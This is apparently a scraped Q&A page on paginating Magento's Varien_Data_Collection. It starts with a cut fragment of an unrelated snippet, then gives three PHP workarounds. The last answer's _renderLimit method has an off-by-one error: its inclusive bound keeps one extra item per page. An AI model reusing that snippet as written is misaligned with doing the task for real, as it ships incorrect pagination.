if ($maxQueryLength !== '' && $stringHelper->strlen($this->_queryText) > $maxQueryLength) {
$this->_queryText = $stringHelper->substr($this->_queryText, 0, $maxQueryLength);
$this->_isMaxLength = true;
}
}
}
return $this->_queryText;
}
In one of these two methods, some how the query text is set empty.

Varien_Data_Collection pagination not working

I have been created a Varien_Data_Collection from scratch:
$myCollection = new Varien_Data_Collection();
after add some items into it, $myCollection->addItem($fooItem);, I tried to paginate it with:
$myCollection->setPageSize(3)->setCurPage(1);
but when I display the collection, it shows all items in the collection instead the first, second o N page.
$myItems = $myCollection->getItems();
foreach ($myItems as $item) {
echo $item->getData('bar');
}
The (non-abstract) base-class Varien_Data_Collection - although it does have the setPageSize and setCurPage methods, those are not reflected within the aggregation of the Iterator:
class Varien_Data_Collection implements IteratorAggregate, Countable
{
...
/**
* Implementation of IteratorAggregate::getIterator()
*/
public function getIterator()
{
$this->load();
return new ArrayIterator($this->_items);
}
...
It will in any case return an ArrayIteator that has all objects. The load method doesn't change a thing here btw:
...
/**
* Load data
*
* #return Varien_Data_Collection
*/
public function loadData($printQuery = false, $logQuery = false)
{
return $this;
}
...
/**
* Load data
*
* #return Varien_Data_Collection
*/
public function load($printQuery = false, $logQuery = false)
{
return $this->loadData($printQuery, $logQuery);
}
...
I'd say this qualifies as a bug, as the public interface makes one assume that the magent collection object Varien_Data_Collection provides pagination while it does not.
I have not searched for a bug-report regarding this issue. The solution is to use another iterator for pagination, for example like outlined in an answer to How to Paginate lines in a foreach loop with PHP with PHP's LimitIterator:
/**
* Class Varien_Data_Collection_Pagination
*
* Aggregates missing Pagination on Collection on getting the Iterator
*
* #author hakre <http://hakre.wordpress.com/>
*/
class Varien_Data_Collection_Pagination implements IteratorAggregate
{
/**
* #var Varien_Data_Collection
*/
private $collection;
public function __construct(Varien_Data_Collection $collection)
{
$this->collection = $collection;
}
public function getIterator()
{
$collection = $this->collection;
if (FALSE === $size = $collection->getPageSize()) {
return $collection;
}
$page = $collection->getCurPage();
if ($page < 1) {
return $collection;
}
$offset = $size * $page - $size;
return new LimitIterator(new IteratorIterator($collection), $offset, $size);
}
}
Usage Example:
$collection = new Varien_Data_Collection();
$collectionIterator = new Varien_Data_Collection_Pagination($collection);
# [...] fill collection
# set pagination:
$collection->setPageSize(3);
$collection->setCurPage(1);
echo iterator_count($collectionIterator); # 3 (int)
Keep in mind that this is mainly an example. IMHO this should be fixed upstream within the Magento codebase, so it's perhaps worth you do some search work in the Magento Bug-Tracker.
As explained in previous post Varien_Data_collection does not support pagination. One solution would be to extend this class and overwrite its loadData() method. Here is practical example of paginating array of stdClass objects. Can be used with any array of data
class YourNamespace_YourModule_Model_History_Collection extends Varien_Data_Collection{
//array of stdClass objects. Can be array of any objects/subarrays
protected $_history = array();
public function loadData($printQuery = false, $logQuery = false){
if ($this->isLoaded()) {
return $this;
}
$this->_totalRecords = count($this->_history);
$this->_setIsLoaded();
// paginate and add items
$from = ($this->getCurPage() - 1) * $this->getPageSize();
$to = $from + $this->getPageSize() ;
$isPaginated = $this->getPageSize() > 0;
$cnt = 0;
$sub_history = array_slice($this->_history, $from, $to-$from);
foreach ( $sub_history as $entry) {
$cnt++;
$item = new $this->_itemObjectClass();
//build here your Varien Object
$item->setDate($entry->Date);
//.......
$this->addItem($item);
if (!$item->hasId()) {
$item->setId($cnt);
}
}
return $this;
}
public function setRecords($records){
if(is_array($records)){
$this->_history = $records;
}
return;
}
}
//Your block class
class YourNamespace_YourModule_Block_History extends Mage_Core_Block_Template{
public function __construct(){
$collection_prepared = new YourNamespace_YourModule_Model_History_Collection();
//get your data here
//$records is array of stdClass objects
$collection_prepared->setRecords($records);
$this->setCollection($collection_prepared);
}
protected function _prepareLayout(){
parent::_prepareLayout();
$pager = $this->getLayout()->createBlock('page/html_pager', 'history.pager');
$pager->setAvailableLimit(array(20=>20,40=>40,80=>80,'all'=>'all'));
$pager->setCollection($this->getCollection());
$this->setChild('pager', $pager);
$this->getCollection()->load();
return $this;
}
public function getPagerHtml()
{
return $this->getChildHtml('pager');
}
}
Hope this helps!
class Pageable_Varien_Data_Collection extends Varien_Data_Collection
{
/**
* Load data
*
* #param bool $printQuery
* #param bool $logQuery
*
* #return Pageable_Varien_Data_Collection
*/
public function load($printQuery = false, $logQuery = false)
{
if ($this->isLoaded()) {
return $this;
}
$this->_renderLimit();
$this->_setIsLoaded();
return $this;
}
/**
* #return Pageable_Varien_Data_Collection
*/
protected function _renderLimit()
{
if ($this->_pageSize) {
$currentPage = $this->getCurPage();
$pageSize = $this->_pageSize;
$firstItem = (($currentPage - 1) * $pageSize + 1);
$lastItem = $firstItem + $pageSize;
$iterator = 1;
foreach ($this->getItems() as $key => $item) {
$pos = $iterator;
$iterator++;
if ($pos >= $firstItem && $pos <= $lastItem) {
continue;
}
$this->removeItemByKey($key);
}
}
return $this;
}
/**
* Retrieve collection all items count
*
* #return int
*/
public function getSize()
{
if (is_null($this->_totalRecords)) {
$this->_totalRecords = count($this->getItems());
}
return intval($this->_totalRecords);
}
/**
* Retrieve collection items
*
* #return array
*/
public function getItems()
{
return $this->_items;
}
}

Resources